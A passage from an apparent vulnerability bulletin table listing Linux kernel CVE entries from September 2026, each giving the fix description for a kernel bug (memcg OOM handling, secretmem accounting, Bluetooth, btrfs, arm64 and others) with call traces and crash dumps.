[&amp;lt;0&amp;gt;] do_swap_page+0x13c/0x1ce0 [&amp;lt;0&amp;gt;] handle_mm_fault+0x61d/0x11f0 [&amp;lt;0&amp;gt;] do_user_addr_fault+0x3e7/0x6d0 [&amp;lt;0&amp;gt;] exc_page_fault+0x8f/0x110 [&amp;lt;0&amp;gt;] asm_exc_page_fault+0x22/0x30 [&amp;lt;0&amp;gt;] __get_user_8+0x14/0x20 [&amp;lt;0&amp;gt;] futex_cleanup+0x27/0x1c0 [&amp;lt;0&amp;gt;] futex_exit_release+0x47/0x60 [&amp;lt;0&amp;gt;] do_exit+0x107/0x940 [&amp;lt;0&amp;gt;] do_group_exit+0x81/0xa0 [&amp;lt;0&amp;gt;] get_signal+0x2b1/0x6e0 [&amp;lt;0&amp;gt;] arch_do_signal_or_restart+0x1a/0x1c0 [&amp;lt;0&amp;gt;] exit_to_user_mode_loop+0xa8/0x1c0 [&amp;lt;0&amp;gt;] do_syscall_64+0x152/0x250 [&amp;lt;0&amp;gt;] entry_SYSCALL_64_after_hwframe+0x4b/0x53 In addition the dmesg was filled with &quot;Out of memory and no killable processes...&quot; messages. I have no idea why oom reaper was not able to reap/unmap the process. My guess is that since oom reaper tries to acquire mmap_lock in read mode limited number of times and then gives up, there might be a thread of that process which had mmap_lock in write mode at that time. My initial suspicion was the futex_cleanup and kernel page fault causing infinite fault and charge retries but that was put to rest in previous discussions happened on similar problem [1]. My current theory is that it is just a simple slow serialization behind the oom_lock. Unlike page allocator, memcg charge code takes the oom_lock without the &quot;try&quot;. Though memcg oom code uses mutex_lock_killable(), note that in the call stack get_signal() consumes SIGKILL (or sigdelset(SIGKILL)) before calling do_group_exit(). So this mutex_lock_killable() is just a mutex_lock() here. Therefore 10s of thousands of threads are waiting on oom_lock and one by one they get -EFAULT from get_user() in the futex cleanup code and bails out. Discussion from [1] led to commit a75ffa26122b (&quot;memcg, oom: do not bypass oom killer for dying tasks&quot;) which routes dying tasks into the OOM path precisely so the oom_reaper can reap their mm and free the memory asynchronously. But the reaper is best-effort and one-shot: if it cannot take mmap_lock for read (e.g. a sibling thread holds it for write) it sets MMF_OOM_SKIP and never retries, leaving only the glacial oom_lock-serialized synchronous drain. Once MMF_OOM_SKIP is set there is no more asynchronous reclaim coming for the mm, so a dying task charging against it has nothing left to wait for: it frees its memory only once it finishes exiting. Running reclaim and the (no-victim) OOM killer for it is then pointless, and doing it for 10s of thousands of exiting threads is what serializes them behind oom_lock. So before reclaim, if current is an OOM victim whose reaper is done, fail the charge. Reproduced with 20k threads, each parking a robust futex head on its own zswapped page, OOM-group-killed while a sibling holds mmap_lock for write so the reaper gives up and sets MMF_OOM_SKIP. Tested on next-20260728 and baseline show ~90 seconds exit time while with the patch the exit time reduced to ~3 seconds.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93241&quot; target=&quot;_blank&quot;&gt;CVE-2026-93241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix response queue over-consumption in __qla_consume_iocb() qla24xx_process_response_queue() advances ring_ptr past the head IOCB before dispatching, so by the time __qla_consume_iocb() runs, ring_ptr already points at the first continuation IOCB. The function however looped purex-&amp;gt;entry_count times starting at ring_ptr. As entry_count includes the head, this consumed one entry too many: it stamped RESPONSE_PROCESSED on the next, unrelated IOCB and advanced the ring past it, silently dropping a legitimate firmware response. The head IOCB&#039;s signature was also never marked. Mark the head processed and account for it, then consume only the entry_count - 1 continuation IOCBs, matching __qla_copy_purex_to_buffer().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93242&quot; target=&quot;_blank&quot;&gt;CVE-2026-93242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/secretmem: properly account locked pages secretmem accounts folios by treating memory as if it were mlock()&#039;d and thus limited by the RLIMIT_MEMLOCK limit. However the folios are unevictable and remain so until the inode is evicted, eliminating usual mlock() semantics - mapping folios then unmapping them does not clear their unevictable state, since it depends on AS_UNEVICTABLE, not PG_mlocked. A user can therefore easily work around the RLIMIT_MEMLOCK limit - simply map then unmap and VmLck no longer counts the secretmem range. Worse, folios are not accounted in the process&#039;s RSS, meaning the OOM killer won&#039;t know to kill the process. Repeatedly mapping/unmapping (or forking) can then result in the consumption of all available system memory with unevictable folios and cause system instability. A secretmem fd can be passed between processes and over fork so a per-process limit simply does not make sense, so follow the precedent set by io_uring, perf, skbuff, iommufd and xdp by tracking the number of locked pages in user_struct-&amp;gt;locked_vm. Since the scope tracked is actually inode lifetime, the RLIMIT_MEMLOCK applies per-user not per-process, so it doesn&#039;t make sense to bypass for users with CAP_IPC_LOCK, therefore remove this bypass. There is simply no reason to carry on marking the mapping as mlock()&#039;d since it&#039;s misleading and the lifecycle is now correctly handled, so remove this too. Note that secretmem does not support any form of truncation (including hole punching) and the folios are unreclaimable, so the folios need only be accounted on fault and unaccounted on inode destruction. __secretmem_account_pages() is more or less a duplicate of the code that io_uring etc. use, but since this is a bug fix that needs backporting, defer any de-duplication efforts to a follow-up. test_mlock_limit() asserts mlock_future_ok() on mmap(), however this has been removed, so remove the test altogether for the fix. A new test will be sent separately for upstream.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93243&quot; target=&quot;_blank&quot;&gt;CVE-2026-93243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/sysfb: simpledrm: Improve stride validation Validate the computed stride against the maximum value INT_MAX.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93244&quot; target=&quot;_blank&quot;&gt;CVE-2026-93244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: apparmor: policy_int make sure list heads are initialized before fail path If profile create fails before policy_init is complete the list heads are not properly initialized causing profile_free() sanity checks to trigger the following splat. AppArmor WARN aa_policy_destroy: (((!list_empty(&amp;amp;policy-&amp;gt;profiles) &amp;amp;&amp;amp; (&amp;amp;policy-&amp;gt;profiles)-&amp;gt;prev != ((void *) 0x122 + (0xdead000000000000UL))))): WARNING: security/apparmor/lib.c:509 at aa_policy_destroy+0x164/0x1b0 security/apparmor/lib.c:509, CPU#0: syz.0.17/5541 Modules linked in: CPU: 0 UID: 0 PID: 5541 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:aa_policy_destroy+0x16b/0x1b0 security/apparmor/lib.c:509 Code: 85 ed 7e 4d e8 96 bc 37 fd 5b 41 5c 41 5e 41 5f 5d e9 19 27 4e 07 cc e8 83 bc 37 fd 48 8d 3d 0c f0 d3 0b 48 c7 c6 a4 eb 38 8e &amp;lt;67&amp;gt; 48 0f b9 3a e9 04 ff ff ff e8 66 bc 37 fd 48 8d 3d ff ef d3 0b RSP: 0018:ffffc9000345eaa0 EFLAGS: 00010293 RAX: ffffffff848f530d RBX: ffff88803f734800 RCX: ffff88801af2a580 RDX: 0000000000000000 RSI: ffffffff8e38eba4 RDI: ffffffff90634320 RBP: 0000000000000000 R08: 0000000000000cc0 R09: 00000000ffffffff R10: dffffc0000000000 R11: fffffbfff1d95913 R12: dead000000000122 R13: ffff88803f734800 R14: ffff88803f734828 R15: dffffc0000000000 FS: 00007f5f6a1836c0(0000) GS:ffff88808c519000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000055d02407b048 CR3: 0000000012aa9000 CR4: 0000000000352ef0 Call Trace: &amp;lt;TASK&amp;gt; aa_free_profile+0x9d/0x9f0 security/apparmor/policy.c:334 aa_alloc_profile+0x1e4/0x3e0 security/apparmor/policy.c:416 unpack_profile security/apparmor/policy_unpack.c:1153 [inline] aa_unpack+0x17db/0x7430 security/apparmor/policy_unpack.c:1748 aa_replace_profiles+0x226/0x2a20 security/apparmor/policy.c:1183 policy_update+0x234/0x4a0 security/apparmor/apparmorfs.c:505 profile_load+0x1cb/0x320 security/apparmor/apparmorfs.c:522 vfs_write+0x296/0xba0 fs/read_write.c:685 ksys_write+0x150/0x270 fs/read_write.c:739 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f5f6939e0d9 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &amp;lt;48&amp;gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f5f6a183028 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 00007f5f69625fa0 RCX: 00007f5f6939e0d9 RDX: 0000000000000041 RSI: 0000200000000400 RDI: 0000000000000003 RBP: 00007f5f6a183090 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 R13: 00007f5f69626038 R14: 00007f5f69625fa0 R15: 00007ffe23725c18&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93245&quot; target=&quot;_blank&quot;&gt;CVE-2026-93245&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: octeontx2-af: fix out-of-bounds read setting MSI-X irq affinity rvu_register_interrupts() walks every MSI-X vector and uses strstr() to match &quot;Mbox&quot; or &quot;FLR&quot; in irq_name before pinning those interrupts to CPU 0. irq_name is a per-vector NAME_SIZE buffer, but not every slot is populated before this loop runs. strstr() keeps scanning until it finds a NUL terminator, so an uninitialized slot can trigger a KASAN slab-out-of-bounds read at boot when debug options are enabled. Use strnstr() with NAME_SIZE to bound the search within each vector&#039;s name buffer.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93246&quot; target=&quot;_blank&quot;&gt;CVE-2026-93246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: mgmt: fix &#039;hdev-&amp;gt;discovery.uuids&#039; NULL dereference &#039;uuid_count&#039; member of struct &#039;discovery_state&#039; is assigned and read without any locks, so there is a chance of situation when uuid_count != 0, but uuids is NULL and there will be NULL pointer dereference. Possible race: &#039;hci_update_passive_scan_sync&#039; &#039;hci_discovery_filter_clear&#039; hdev-&amp;gt;discovery.uuid_count = 0; &amp;lt;----------------------preempted-----------------------------&amp;gt; &#039;start_service_discovery&#039; // Set uuid_count to value != 0 hdev-&amp;gt;discovery.uuid_count = uuid_count; hdev-&amp;gt;discovery.uuids = kmemdup(...); &amp;lt;----------------------preempted-----------------------------&amp;gt; spin_lock(&amp;amp;hdev-&amp;gt;discovery.lock); kfree(hdev-&amp;gt;discovery.uuids); hdev-&amp;gt;discovery.uuids = NULL; spin_unlock(&amp;amp;hdev-&amp;gt;discovery.lock); Now uuids == NULL and uuid_count != 0. So &#039;mgmt_device_found&#039; -&amp;gt; &#039;is_filter_match&#039; -&amp;gt; &#039;eir_has_uuids&#039; receives non consistent discovery state, where NULL dereference of uuids happens. To fix it let&#039;s add discovery.lock around every read/write of uuid_count, uuids pair of struct members. It is also important to assign uuid_count value only after success kmemdup() allocation in start_service_discovery(), otherwise uuids is NULL, because kmemdup failed, but uuid_count is already assigned to non zero value. The following panic happens: [ ] ------------[ cut here ]------------ [ ] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 [ ] Internal error: Oops: 0000000096000006 [#1] PREEMPT SMP [ ] CPU: 0 PID: 15056 Comm: kworker/u9:2 [ ] Workqueue: hci0 hci_rx_work [ ] pstate: 10400009 (nzcV daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ ] pc : eir_has_uuids+0x2d8/0x590 [ ] lr : is_filter_match+0x258/0x320 ... [ ] Call trace: [ ] eir_has_uuids+0x2d8/0x590 [ ] is_filter_match+0x258/0x320 [ ] mgmt_device_found+0x5b0/0xafc [ ] process_adv_report.part.0+0x8c8/0xf14 [ ] hci_le_adv_report_evt+0x338/0x3f0 [ ] hci_le_meta_evt+0x1f0/0x4c8 [ ] hci_event_packet+0x440/0xc9c [ ] hci_rx_work+0x44c/0xaf8 [ ] process_one_work+0x54c/0x103c [ ] worker_thread+0x6c4/0x10c4 [ ] kthread+0x274/0x2ec [ ] ret_from_fork+0x10/0x20 [ ] Code: 14000004 91004021 eb14003f 54000180 (f9400024) [ ] ---[ end trace 0000000000000000 ]---&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93247&quot; target=&quot;_blank&quot;&gt;CVE-2026-93247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/xe: don&#039;t WARN on kernel job timeout when device already wedged igt@xe_wedged@wedged-at-any-timeout wedges the device in mode 2 (UPON_ANY_HANG_NO_RESET) and then rebinds the driver. During unbind, a GSC proxy kernel submission can still time out; with the device wedged and the GuC CT stopped it can never complete, so its kernel job times out. Tile0: GT1: Kernel-submitted job timed out WARNING: drivers/gpu/drm/xe/xe_guc_submit.c:... at guc_exec_queue_timedout_job() Workqueue: gt-ordered-wq drm_sched_job_timedout Killed queues skip guc_submit_hint_wedged(), leaving &#039;wedged&#039; false even though the device is already wedged. The timeout handler then treats the kernel queue timeout as unexpected and taints the kernel. Honour an already-wedged device even for killed queues so the expected teardown timeout no longer trips the WARN. (cherry picked from commit a1c1dbd0f047bb05de6aaf6abe9103031179bf19)&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93248&quot; target=&quot;_blank&quot;&gt;CVE-2026-93248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: spi: amlogic-spisg: Make sure clk_init_data is fully initialized The clk_init_data structure contains several mutually-exclusive members for different methods to specify the possible parents of a clock, prompting drivers to initialize only the members they need. However, not initializing all members may cause subtle issues, which are only exposed when CONFIG_INIT_STACK_ALL_PATTERN or CONFIG_INIT_STACK_NONE is enabled. aml_spisg_clk_init() fills in init.parent_data, and assumes that init.parent_names is NULL. However, the latter in uninitialized, and thus may cause a crash. Make sure all members are fully initialized, to fix such bugs, and to avoid future breakage when converting drivers to a different method for specifying the parents.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93249&quot; target=&quot;_blank&quot;&gt;CVE-2026-93249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: bus: Introduce acpi_bus_get_primary_device() The function used for obtaining the first &quot;physical&quot; device for which the given ACPI one is the ACPI companion, acpi_get_first_physical_node(), may return a stale device pointer (mostly in theory) because acpi_unbind_one() may run as a whole after dropping the ACPI device&#039;s physical_node_lock in acpi_get_first_physical_node() and before it returns. The last reference to the &quot;physical&quot; device may be dropped then before the pointer to it is returned to the caller. If that happens and the acpi_get_first_physical_node() caller invokes get_device() on the pointer obtained from it, which is done by the majority of its callers, a use-after-free will occur. To prepare for addressing this problem, introduce a new function for getting the first &quot;physical&quot; device associated with the given ACPI one (the &quot;primary physical device&quot;) that will also reference count the device in question before returning a pointer to it. Make that new function and acpi_get_first_physical_node() share the physical node list lookup code. No intentional functional impact.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93251&quot; target=&quot;_blank&quot;&gt;CVE-2026-93251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: fix circular locking dependency in ocfs2_init_acl() A lockdep warning indicates a circular locking dependency between `&amp;amp;oi-&amp;gt;ip_xattr_sem` and `&amp;amp;journal-&amp;gt;j_trans_barrier`: WARNING: possible circular locking dependency detected is trying to acquire lock: (&amp;amp;oi-&amp;gt;ip_xattr_sem){++++}-{4:4}, at: ocfs2_init_acl+0x2fd/0x7e0 fs/ocfs2/acl.c:367 but task is already holding lock: (&amp;amp;journal-&amp;gt;j_trans_barrier){.+.+}-{4:4}, at: ocfs2_start_trans+0x3ab/0x700 fs/ocfs2/journal.c:369 The deadlock involves two code paths: Path 1 (setxattr) where `ocfs2_xattr_set()` acquires `ip_xattr_sem` (write) and then starts a transaction, which acquires `j_trans_barrier` (read); and Path 2 (mkdir/mknod) where `ocfs2_mknod()` starts a transaction (`j_trans_barrier` read) and then calls `ocfs2_init_acl()`, which attempts to acquire `ip_xattr_sem` (read) on the parent directory to retrieve the default ACL. Because rw_semaphores are subject to writer priority, a pending writer on `j_trans_barrier` (e.g., the journal commit thread) can cause Path 1 to block, while Path 2 is blocked waiting for Path 1 to release `ip_xattr_sem`. The patch fixes the lock ordering by precomputing the ACL state before starting the OCFS2 transaction, while preserving POSIX ACL storage semantics and the existing inode/security initialization order. By reading the parent directory&#039;s default ACL and preparing the new inode&#039;s ACLs outside the transaction, `ip_xattr_sem` is always acquired before `j_trans_barrier`. `struct ocfs2_acl_state` encapsulates the prepared ACL state, while `ocfs2_acl_init_prepare()` and `ocfs2_acl_init_release()` avoid code duplication between `ocfs2_mknod()` and `ocfs2_init_security_and_acl()`. `ocfs2_calc_xattr_init()` and `ocfs2_init_acl()` use this precomputed state, removing internal `ip_xattr_sem` acquisition and redundant disk reads. Additionally, remove the `ip_xattr_sem` acquisition from `ocfs2_xattr_set_handle()`. This function is only used while initializing a new inode that has not yet been inserted into the inode hash or attached to a dentry, meaning there is no risk of concurrent access and the lock is unnecessary.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93252&quot; target=&quot;_blank&quot;&gt;CVE-2026-93252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched/isolation: Defer freeing of cpumask memblock memory to initcall When testing a linux-next kernel with commit 59bd1d914bb5 (&quot;memblock: warn when freeing reserved memory before memory map is initialized&quot;), the following warning was hit when there was a &quot;nohz_full&quot; kernel boot parameter. Cannot free reserved memory because of deferred initialization of the memory map WARNING: mm/memblock.c:904 at __free_reserved_area+0xde/0xf0, CPU#0: swapper/0/0 : Call Trace: &amp;lt;TASK&amp;gt; memblock_phys_free+0xcb/0x100 housekeeping_init+0x14c/0x170 start_kernel+0x207/0x450 x86_64_start_reservations+0x24/0x30 x86_64_start_kernel+0xda/0xe0 common_startup_64+0x13e/0x141 &amp;lt;/TASK&amp;gt; IOW, we shouldn&#039;t free memblock allocated memory so early in the boot process when memory map isn&#039;t fully initialized in deferred_init_memmap(). Fix it by saving the housekeeping cpumask memblock memory to be freed into a llist free list in housekeeping_init() and add a new housekeeping_late_init() helper to defer the actual freeing of memblock memory to when initcall&#039;s are being processed. The cpumask memblock memory is treated as a llist_node with the size of a &quot;long&quot; type which is also smallest cpumask size that can be allocated. The non-atomic version of the llist APIs are used as there is no contention. This commit depends on the presence of commit 7c2eee9c1367 (&quot;memblock: don&#039;t touch memblock arrays when memblock_free() is called late&quot;) to prevent a KASAN UAF bug report [1]. [1] https://lore.kernel.org/lkml/20260505051821.1107133-1-longman@redhat.com/&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93253&quot; target=&quot;_blank&quot;&gt;CVE-2026-93253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: entry: Avoid unnecessary local_irq_disable() on kernel exit Currently, when exiting to kernel mode, we attempt involuntary preemption. The preemption logic expects IRQs to be disabled, which is why we call local_irq_disable() before attempting preemption. However, depending on the context, local_irq_disable() may be unnecessary: - __el1_irq(), the non-NMI EL1 IRQ path, already has IRQs disabled, so local_irq_disable() is redundant. - irqentry_exit_to_kernel_mode_preempt() immediately returns when exiting from an NMI-like context, so calling local_irq_disable() beforehand is unnecessary work. Furthermore, it confuses the pNMI state tracking when we are in a context with interrupts disabled and the GIC_PRIO_PSR_I_SET bit is set in the PMR, leading to a warning when CONFIG_ARM64_DEBUG_PRIORITY_MASKING=y: WARNING: ./arch/arm64/include/asm/irqflags.h:63 at arm64_exit_to_kernel_mode+0xb8/0xc0, CPU#40: retsnoop/31805 CPU: 40 UID: 0 PID: 31805 Comm: retsnoop Not tainted 7.2.0-rc6-next-20260805 #7 PREEMPTLAZY pstate: 234013c9 (nzCv DAIF +PAN -UAO +TCO +DIT +SSBS BTYPE=--) pc : arm64_exit_to_kernel_mode (arch/arm64/kernel/entry-common.c:63) lr : el1_abort (arch/arm64/kernel/entry-common.c:323) pmr: 000000f0 Call trace: arm64_exit_to_kernel_mode (arch/arm64/kernel/entry-common.c:63) (P) el1_abort (arch/arm64/kernel/entry-common.c:323) el1h_64_sync_handler (arch/arm64/kernel/entry-common.c:449) el1h_64_sync (arch/arm64/kernel/entry.S:589) [...] Split arm64_exit_to_kernel_mode() into preempt, non-preempt, and dispatch parts so that we can avoid this extra work where it is not needed and avoid breaking the pNMI tracking logic.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93254&quot; target=&quot;_blank&quot;&gt;CVE-2026-93254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: make sure EXTENT_BUFFER_READING is cleared under refs_lock [FALSE ALERTS] There is a bug report that the warning inside invalidate_and_check_btree_folios() got triggered during btrfs/298: BTRFS info (device sdd): first mount of filesystem f9bf732a-a19b-44b9-99a7-614ddff168e2 BTRFS info (device sdd): using crc32c checksum algorithm BTRFS error (device sdd): failed to find fsid cb2fdb42-b638-4f2f-badd-4127467ba674 when attempting to open seed devices BTRFS error (device sdd): failed to read chunk tree: -2 ------------[ cut here ]------------ WARNING: disk-io.c:3342 at invalidate_and_check_btree_folios+0x260/0x3c0 [btrfs], CPU#4: mount/125993 CPU: 4 UID: 0 PID: 125993 Comm: mount Tainted: G W OE 7.1.0-rc7-custom+ #1 PREEMPT(full) Hardware name: QEMU KVM Virtual Machine, BIOS edk2-20250812-19.fc42 08/12/2025 Call trace: invalidate_and_check_btree_folios+0x260/0x3c0 [btrfs] (P) open_ctree+0x1f50/0x23b0 [btrfs] btrfs_get_tree+0x89c/0xc48 [btrfs] vfs_get_tree+0x30/0x110 vfs_cmd_create+0x58/0xe8 __arm64_sys_fsconfig+0x39c/0x518 invoke_syscall.constprop.0+0x48/0x120 el0_svc_common.constprop.0+0x40/0xe8 do_el0_svc+0x24/0x38 el0_svc+0x50/0x310 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x198/0x1a0 ---[ end trace 0000000000000000 ]--- BTRFS warning (device sdd): unable to release extent buffer 365985792 owner 3 gen 17 refs 3 flags 0x5 [CAUSE] In that invalidate_and_check_btree_folios() we wait for the eb to finish its read, then check if it&#039;s only held by us and the btree inode. If not, then do a warning as it may be still held, and could cause problems. But there is a small window where the check can lead to false alerts: Thread A (Read endio) | Thread B (Unmount) ----------------------------------+------------------------------------- end_bbio_meta_read() | | The eb has one extra ref held | | by the reader, and has | | EXTENT_BUFFER_READING flag set | invalidate_and_check_btree_folios() | | | |- clear_extent_buffer_reading() | | | | |- wait_on_bit_io(); | | | The EXTENT_BUFFER_READING flag is | | | cleared | | |- if (refcount_read(eb-&amp;gt;refs) &amp;gt; 2) | | The eb is held by the read, us | | and btree inode, thus it | | will trigger the warning |- free_extent_buffer() | [FIX] Introduce a helper, free_extent_buffer_clear_reading(). If the new parameter, @clear_reading, is set, we will hold the spinlock at the beginning of free_extent_buffer_clear_reading() to make sure the EXTENT_BUFFER_READING flag is cleared inside the same critical section of decreasing refs. Now free_extent_buffer() will just call free_extent_buffer_clear_reading() with @clear_reading set to false, so no behavior change. But for end_bbio_meta_read(), it will not clear_extent_buffer_reading() directly, but pass @clear_reading as true. Then inside invalidate_and_check_btree_folios(), hold the refs_lock before reading refs. So that we eliminate the race window completely.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93255&quot; target=&quot;_blank&quot;&gt;CVE-2026-93255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: hibernate: mask DAIF before restoring hibernated kernel The arm64 hibernate code manages the exception masking in an unsound way, leading to potential crashes and/or warnings during resume. When a hibernation image is saved in `swsusp_arch_suspend()`, all DAIF exceptions are masked (by virtue of `local_daif_save()`), and the suspended image is saved assuming that all DAIF exceptions will remain masked when the image is restored. When a hibernation image is resumed by `swsusp_arch_resume()`, only interrupts are masked (by virtue of `local_irq_disable()` in `resume_target_kernel()`). When pseudo-NMI is enabled the DAIF.IF bits will be clear, and regardless of pseudo-NMI the DAIF.DA bits will be clear. This means that there are two problems: (1) It is possible to take Debug, SError, or pseudo-NMI exceptions during the resume process. This is unsafe, as during the resume process both the old ane new kernels will tranisently be in an inconsistent state, and swsusp_arch_suspend_exit() won&#039;t retain an executable mapping of any exception vectors. Any exception taken here will be fatal and silent. (2) When re-entering the resumed kernel, some DAIF bits will be clear unexpectedly. This permits Debug, SError, or pseudo-NMI exceptions to be taken for a short period while the resumed kernel is not yet in a consistent state. This is detected by CONFIG_ARM64_DEBUG_PRIORITY_MASKING. Avoid these issues by masking all DAIF exceptions during resume.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93256&quot; target=&quot;_blank&quot;&gt;CVE-2026-93256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
